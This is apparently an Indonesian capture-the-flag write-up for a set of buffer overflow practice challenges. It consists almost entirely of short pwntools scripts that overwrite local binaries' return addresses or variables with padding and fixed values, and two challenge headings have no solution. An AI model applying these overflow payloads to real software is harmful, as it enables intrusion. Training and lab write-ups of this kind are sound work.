bufferoverflow chall wu
Challenge ini didapat dari mas Fauzan Magribi kalo mau coba challengenya silahkan. Di sini saya akan share writeup dari challenge tersebut.
Chall_1
1
2
3
4
5
6
from pwn import *
elf = process('chall_1')
pay = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
elf.sendline(pay)
elf.interactive()
Chall_2
1
2
3
4
5
6
from pwn import *
elf = process('chall_2')
pay = b'a'*20+b'\x3f\xb3\x4d\xd3'
elf.sendline(pay)
elf.interactive()
Chall_3
1
2
3
4
5
6
from pwn import *
elf = process('chall_3')
pay = b'a'*28+b'\x26\x85\x04\x08'
elf.sendline(pay)
elf.interactive()
Chall_4
1
2
3
4
5
6
from pwn import *
elf = process('chall_4')
pay = b'\x00'*28+b'f\x85\x04\x08'
elf.sendline(pay)
elf.interactive()
Chall_5
Chall_6
1
2
3
4
5
6
from pwn import *
elf = process('chall_6')
pay = b'a'*28+b'&\x85\x04\x08'+b'a'*12+b'\xde\xc0\xad\xde'
elf.sendline(pay)
elf.interactive()
Chall_7
This post is licensed under CC BY 4.0 by the author.